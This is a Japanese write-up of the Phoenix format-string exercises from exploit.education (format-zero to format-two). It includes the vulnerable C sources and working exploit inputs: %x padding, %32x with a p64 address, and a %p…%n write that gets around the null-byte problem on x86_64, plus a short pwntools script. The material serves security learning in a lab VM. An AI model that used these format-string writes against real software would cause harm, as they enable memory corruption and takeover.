新しいセクションでは、フォーマット文字列の脆弱性を利用したストーリーが語られます。
format-two はすべて x86 の解説ですが、x86_64 の \x00 の落とし穴を回避する方法はコメントセクションで見つけるのに時間がかかりました。
format-zero#
問題のソースコード#
/*
* phoenix/format-zero, by https://exploit.education
*
* "changeme"変数を変更できますか?
*
* 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and
* pass it around, 4294967295 bottles of beer on the wall!
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char dest[32];
volatile int changeme;
} locals;
char buffer[16];
printf("%s\n", BANNER);
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
errx(1, "Unable to get buffer");
}
buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}
exit(0);
}
解法#
15 文字のフォーマット文字列を使用して、32 ビット以上の出力を生成すると、changeme を上書きできます。
可変引数はスタック上に存在し、引数の数には何の検証もありません。そのため、単にいくつかの数字を生成すれば良いです。
user@phoenix-amd64:~$ python -c "print('%x'*15)"|/opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
gdb でメモリ内のフォーマット結果を確認してみましょう:
(gdb) p (char*)0x00007fffffffe650
$4 = 0x7fffffffe650 "ffffe640f7ffc546712e712ea0a0a0affffe6d8078257825"
48 ビットありますね。
ああ、ああ、ああ、突然思い出しました、"%32x" を使えるんですよね。。。。(なぜ 32 ビットで十分なのかというと、入力の末尾には \n があるためです)
format-one#
changeme を固定の 0x45764f6c に変更します。前の問題に追加するだけです。
user@phoenix-amd64:~$ python -c "from pwn import *;print('%32x'+p64(0x45764f6c))"|/opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed correctly!
p64 は 64 ビット整数をバイト列にパックするために使用されます。
format-two#
ソースコード#
/*
* phoenix/format-two, by https://exploit.education
*
* "changeme"変数を変更できますか?
*
* 花瓶に入れてはいけない花は何ですか?
* カリフラワー。
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[256];
printf("%s\n", BANNER);
if (argc > 1) {
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], sizeof(buf));
bounce(buf);
}
if (changeme != 0) {
puts("Well done, the 'changeme' variable has been changed correctly!");
} else {
puts("Better luck next time!\n");
}
exit(0);
}
解説#
% n を使用して既に出力されたバイト数を特定のアドレスに書き込むことができます。
ここでは printf に後続の引数がないため、スタックに書き込むことができます。
まず、スタックトップと私たちが制御できる入力の距離を見つける必要があります。その後、% p を埋め込んでスタックトップから文字列までの距離を計算し、% x を書き込みます。
ただし、x86 と x86_64 では少し異なる状況です。x86 では次のようにできます(https://n1ght-w0lf.github.io/binary%20exploitation/format-two/):
/opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'
書き込むアドレス(changeme のアドレス)を最初に配置し、計算されたスタックトップから文字列までの距離に基づいて % x を書き込みます。
ただし、x64 の changeme アドレスには \x00 が含まれているため、上記の方法では切り捨てられてしまいます。しかし、次のようにすることができます(https://blog.lamarranet.com/index.php/exploit-education-phoenix-format-two-solution/のコメントセクション):
/opt/phoenix/amd64/format-two $'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%n\xf0\x0a\x60'
% p 文字列が 1 つ増えるごとに 2 バイト増えますが、スタック上の 8 バイトを消費できます。これにより、追いつき問題が発生し、ある数量までスタック上の % n の下にちょうど 0x00600af0 があるようになります。
落とし穴#
bash で $(balabala) を引数として使用する場合、内部に改行が含まれていると自動的に 2 つの引数に分割されます。
したがって、次のようにはできません。
/opt/phoenix/amd64/format-two $(cat payload)
Python でやってみましょう#
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'%p'*15+b'%n\xf0\x0a\x60'
sh = shell.process(argv=["/opt/phoenix/amd64/format-two", shellcode])
sh.interactive()